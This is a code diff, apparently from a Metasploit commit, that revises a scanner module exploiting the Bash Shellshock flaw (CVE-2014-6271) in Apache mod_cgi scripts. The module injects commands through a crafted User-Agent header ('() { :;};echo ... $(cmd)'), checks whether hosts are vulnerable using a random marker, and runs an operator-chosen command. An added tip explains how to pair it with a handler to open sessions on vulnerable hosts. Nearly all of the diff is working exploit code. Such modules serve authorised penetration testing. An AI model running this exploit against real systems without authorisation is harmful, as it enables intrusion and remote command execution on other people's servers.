@@ -9,6 +9,7 @@ class Metasploit4 < Msf::Auxiliary
9
9
10
10
include Msf ::Exploit ::Remote ::HttpClient
11
11
include Msf ::Auxiliary ::Scanner
12
+ include Msf ::Auxiliary ::Report
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
@@ -17,14 +18,18 @@ def initialize(info = {})
17
18
This module exploits a code injection in specially crafted environment
18
19
variables in Bash, specifically targeting Apache mod_cgi scripts through
19
20
the HTTP_USER_AGENT variable.
21
+
22
+ PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
23
+ CMD, set ExitOnSession false, run -j, and then run this module to create
24
+ sessions on vulnerable hosts.
20
25
} ,
21
26
'Author' => [
22
27
'Stephane Chazelas' , # Vulnerability discovery
23
28
'wvu' # Metasploit module
24
29
] ,
25
30
'References' => [
26
31
[ 'CVE' , '2014-6271' ] ,
27
- [ 'URL' , 'https://securityblog .redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ ' ] ,
32
+ [ 'URL' , 'https://access .redhat.com/articles/1200223 ' ] ,
28
33
[ 'URL' , 'http://seclists.org/oss-sec/2014/q3/649' ]
29
34
] ,
30
35
'DisclosureDate' => 'Sep 24 2014' ,
@@ -38,18 +43,52 @@ def initialize(info = {})
38
43
OptString . new ( 'CMD' , [ true , 'Command to run (absolute paths required)' ,
39
44
'/usr/bin/id' ] )
40
45
] , self . class )
46
+
47
+ @marker = marker
48
+ end
49
+
50
+ def check_host ( ip )
51
+ res = req ( "echo #{ @marker } " )
52
+
53
+ if res && res . body . include? ( @marker * 3 )
54
+ report_vuln (
55
+ :host => ip ,
56
+ :port => rport ,
57
+ :name => self . name ,
58
+ :refs => self . references
59
+ )
60
+ Exploit ::CheckCode ::Vulnerable
61
+ else
62
+ Exploit ::CheckCode ::Safe
63
+ end
41
64
end
42
65
43
66
def run_host ( ip )
44
- res = send_request_raw (
67
+ return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
68
+
69
+ res = req ( datastore [ 'CMD' ] )
70
+
71
+ if res && res . body =~ /#{ @marker } (.+)#{ @marker } /m
72
+ print_good ( "#{ peer } - #{ $1} " )
73
+ report_vuln (
74
+ :host => ip ,
75
+ :port => rport ,
76
+ :name => self . name ,
77
+ :refs => self . references
78
+ )
79
+ end
80
+ end
81
+
82
+ def req ( cmd )
83
+ send_request_cgi (
45
84
'method' => datastore [ 'METHOD' ] ,
46
85
'uri' => normalize_uri ( target_uri . path ) ,
47
- 'agent' => "() { :;}; #{ datastore [ 'CMD' ] } "
86
+ 'agent' => "() { :;};echo #{ @marker } $( #{ cmd } ) #{ @marker } "
48
87
)
88
+ end
49
89
50
- if res && res . code == 200
51
- vprint_good ( "#{ peer } - #{ res . body } " )
52
- end
90
+ def marker
91
+ Rex ::Text . rand_text_alphanumeric ( rand ( 42 ) + 1 )
53
92
end
54
93
55
94
end
0 commit comments